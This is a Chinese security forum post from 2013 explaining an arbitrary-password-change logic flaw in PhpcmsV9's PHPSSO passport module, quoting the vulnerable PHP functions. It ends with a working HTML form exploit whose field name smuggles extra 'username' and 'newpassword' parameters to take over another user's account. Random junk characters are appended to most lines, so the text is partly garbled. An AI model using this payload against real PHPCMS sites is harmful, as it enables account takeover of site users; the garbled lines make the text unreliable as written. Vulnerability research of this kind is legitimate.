找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1914|回复: 0
打印 上一主题 下一主题

PhpcmsV9 任意用户密码修改逻辑漏洞 2013年贺岁第三发

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-23 14:46:35 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
提到的通行证的代码:: O7 t% [0 i1 I
0 f& C' ?  n9 G! E# s
% d; R6 T/ s' d7 j9 {
parse_str(sys_auth($_POST['data'], 'DECODE', $this->applist[$this->appid]['authkey']), $this->data);
" \6 p/ O  @' K7 F2 c8 `" K% q2 Z* ~; a1 P1 C8 I; v* \$ y- r
在phpsso_server/phpcms/modules/phpsso/classes/phpsso.class.php中。
( |9 f- n- M" L5 h4 H( u' l, U3 M: k% D  ^. m" L
我把它留给了你们。3 ^1 Q% i5 s9 n2 }: j
不知道你们发现了它没有。
. a) `& A6 [; q1 `: o5 Q: O" {# v
我们知道parse_str类似将http请求转换成php变量的函数,所以,也像http请求在php的环境下一样,如果提交?a=sss&a=aaa,那么a的结果会是aaa,不是sss。* E% J7 V) i) F

4 E1 f% @: x& N$ G+ `所以我们知道这个函数有一个问题了,如果后面提交一个内容,它会覆盖前面的。
  |1 V" ~6 H- A1 e" ]+ H
- k% I2 b8 n- B1 C* y; e2 x$ M也就是5 f6 y( q9 d5 Z' U
% X) ]' ^& v* A8 C, t: u4 [  X
username=zhangsan&username=lisi的话,那么用户名就不是zhangsan了。
6 a. o5 U, G  r) O- t: o: C. O1 K( N1 r
要构造这样的请求,我们还是要回到通行证的client看看,我们有没有这样的机会。
+ T" s1 J8 Y- a0 M$ |+ t8 l! p% W( s6 {' X# z2 Z# c
8 D$ S6 I( g/ _0 K2 ~$ `4 \
其实我们有这样的机会,看看代码,如下:  ?. I4 j2 k. J  p

8 Q2 Y0 U' b) @. F! X" |( F) A* v/ H2 v) x4 d: Y
public function auth_data($data) {$ X- `8 g. s, M+ Q
                $s = $sep = '';  F' K4 O( n) S9 {3 O! ?
                foreach($data as $k => $v) {( m. Z# N9 f) S# t
                        if(is_array($v)) {6 q4 Q  p3 K9 W6 v8 x$ t* X
                                $s2 = $sep2 = '';& \# _5 ]4 d1 n( Q7 b
                                foreach($v as $k2 => $v2) {
$ o7 x1 I: i. u1 ^' G1 c" V                                                $s2 .= "$sep2{$k}[$k2]=".$this->_ps_stripslashes($v2);0 ~1 Y9 C/ A% M& g* f
                                        $sep2 = '&';  B' h! L1 H3 u* k7 Q
                                }
/ D# E% N: d! e: X/ v3 R4 H1 y                                $s .= $sep.$s2;
2 e, Y5 X8 T+ b# Y                        } else {
) G7 V5 A! l/ N$ m9 h                                $s .= "$sep$k=".$this->_ps_stripslashes($v);
. H" L5 N8 s* S* d4 K                        }5 m3 h+ y5 H/ f7 D5 A- N( N/ l' L
                        $sep = '&';
) N% Y$ p8 v% C; ^( C( E                }
. I# X9 p+ n# y; F0 b* w: N8 d7 J: f7 ~1 ~6 Q
                $auth_s = 'v='.$this->ps_vsersion.'&appid='.APPID.'&data='.urlencode($this->sys_auth($s));. P1 f! Z% K  g6 d
                return $auth_s;
0 Q9 a* }! [5 ~9 Q+ n9 o        }
2 I9 H- n: }, n0 A& G0 o
. h- u2 f% L  C3 ^7 s可能我没说明白,对,传递进来的数组的key是可控的。如果我的key里包含[]&这样三个字符的话,那么我就能重写这样的东西。
3 R! v( y$ k2 M% x4 s3 `; n7 {8 C4 r6 D& K4 T
举个例子# Z, ~( h( }8 P7 H& t
5 L4 E0 l6 P2 n$ }# P$ w2 X9 c
$a[aaa=a&bbb] = 'a';
1 f3 _; u4 B6 Y+ J" |) }) _. G+ j0 O/ @* D6 k. m
会变成aaa=a&bbb=a
" W& i3 P) }( ~% n# N' {* [  y( v4 b
明白了么,对,就是通过没有注意到的key,我们可以构造出多余的参数来。' f8 I, o, g8 r
* [. ^' Y; M6 K0 M$ {
这个时候,我们可以再去看一个函数。9 }6 O7 }) m7 F% y; w3 g" @
% |; U1 D4 X" t2 }3 A
就在这个文件内:0 R" n$ R4 e3 t  q- g

4 b; d; W; ]6 ^" `( L! b/ R8 u0 S+ G# v7 @6 Q; m
public function ps_member_edit($username, $email, $password='', $newpassword='', $uid='', $random='') {, H9 u; B0 @) a: Q' |. {) n! T
                if($email && !$this->_is_email($email)) {. s: b4 }' X4 }4 _4 z+ E4 \
                        return -4;
5 M5 t* j" E; }4 V: ]  |8 ~+ T+ p                }3 _- d' l9 j$ `' b5 n2 T  D7 w; F2 E
                return $this->_ps_send('edit', array('username'=>$username, 'password'=>$password, 'newpassword'=>$newpassword, 'email'=>$email, 'uid'=>$uid, 'random'=>$random));- u; ?2 t8 I# C* {) K- ?9 c6 }
        }( S8 w# H% p( e0 V

9 R4 k. X  q0 C6 b) d这是向通行证发了这样一个请求。
9 v& Y6 X1 k- ~8 C: z* @! G" y2 _% Y5 E" H
我们再跟到通信证代码里去看看,就会有所发现。+ Q  _8 N3 X( ^7 k  W4 o
$ P7 c1 N" F2 ^4 [
, P3 c, _; U2 {
public function edit() {- ^0 r( O2 K* Y* a$ n9 e& k& [
//能省就省,太长了不是吗?
( q" Q, H4 M. \) [9 Z
% [7 O% E# i1 E! Vif($this->username) {8 ~" W8 n0 Q1 e+ g/ Q/ t* r' P
//如果提交了用户名,则按照用户名修改记录,反之,按照uid来修改记录。; Q# U8 i7 A  _8 O& U% L  w/ ~
                                $res = $this->db->update($data, array('username'=>$this->username));
/ @, s% A( ~! n" p                        } else {
. C% }' F: d: u9 J1 q; w                                file_put_contents('typeb.txt',print_r($data,1).$this->uid);3 n) h4 t& r! Z6 p. _9 h, \
                                $res = $this->db->update($data, array('uid'=>$this->uid));
& [% K+ z7 x4 q% a' z- [7 q                        }& _, D/ q8 J0 H0 M1 z$ p) B

  M* ~# b; `3 i, F" }好,我们知道了,如果提交了用户名,就会按照用户名来修改记录,不然就按照uid,我们看看函数结构:* J, r$ G  t- }: A" k5 _+ W: h

9 A* g$ H0 T9 n6 Fpublic function ps_member_edit($username, $email, $password='', $newpassword='', $uid='', $random='')
2 [$ [  G6 [8 s2 I6 ^# u
' `4 K( V9 u4 L5 ^9 P; {; |很好,uid要是无法控制的话,后面只剩下一个random了,但是username就在第一个,只要email,password,newpassword,有任何一个可以控制,就可以修改密码了。1 n3 K3 R0 {; A. s" i

- }) @3 x1 R2 e6 L" f4 x我当然找到了:6 G- ~0 d& J- j- S! _  U: R- l$ G, q
phpcms9/phpcms/modules/member/index.php
; R- d: h4 @6 V, C0 x$ W$ r( G5 n9 j4 e8 A8 n5 A& J
$res = $this->client->ps_member_edit('', $email, $_POST['info']['password'], $_POST['info']['newpassword'], $this->memberinfo['phpssouid'], $this->memberinfo['encrypt']);2 {# K6 b5 v, k; h) U6 S* ~
. H% W8 B$ P/ [# R% x1 L2 `
然后就没有然后了。/ r# K' \2 l1 |. c! W3 H1 S+ ~0 a
1 d) o1 B- p+ V6 I8 O5 ?% u7 R& S
<form method="post" action="http://localhost/phpcms9/index.php?m=member&c=index&a=account_manage_password&t=1" id="myform" name="myform">$ J+ M; ~+ d0 h4 U' F/ C
                                <table width="100%" cellspacing="0" class="table_form">
. T$ O! G/ ^9 N7 V: |0 _                                        <tr>8 N8 x; }& I; D  ?) Y7 ^3 f
                                                <th width="80">邮箱:</th>        
8 U) T2 S7 G. i8 N* O5 \# \                                                <td><input name="info[email]" type="text" id="email" size="30" value="jj@jj.com" class="input-text"></td>
5 q4 B8 Y( Q# [9 s5 ~" c                                        </tr>& Q  r4 o4 o% |9 Y7 i
                                        <tr>: z" H7 G& J, J$ B+ q- @
                                                <th width="80">原密码:</th>        - x3 a/ q0 Y+ l# q
                                                <td><input name="info[password]" type="password" id="password" size="30" value="111111" class="input-text"></td>- C6 ], s4 ]8 s/ K$ d
                                        </tr>8 `& U! R. S+ G; C* d9 S2 N1 I
                                        <tr>: W% Q5 z! D9 Z1 q( m& c2 O8 ^
                                                <th>新密码:</th>" D7 ?( ~6 ]8 u
                                                <td><input name="info[newpassword][%5D=aaa%5D%5B&username=cc&newpassword=aaaaaa&]" type="password" id="newpassword" size="30" value="" class="input-text"></td># Q# w; j9 }4 j7 g6 c: w
                                        </tr>
# i1 l9 N" U* c& `                                        <th></th>
% U' U) @# o6 m" R" _/ I( l3 `! C                                        <td><input name="dosubmit" type="submit" id="dosubmit" value="提交" class="button"></td>1 @) Z* @" I  _8 Y6 {
                                        </tr>
9 q) J2 r$ |1 u& _7 ^; B                                </table>' m2 F  {$ B- v; h
8 t% h+ k4 G1 j9 r% g( r. q
                                + a. T0 \  e  p6 \1 W
                        </form>7 ^7 d% F- j( O) L
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表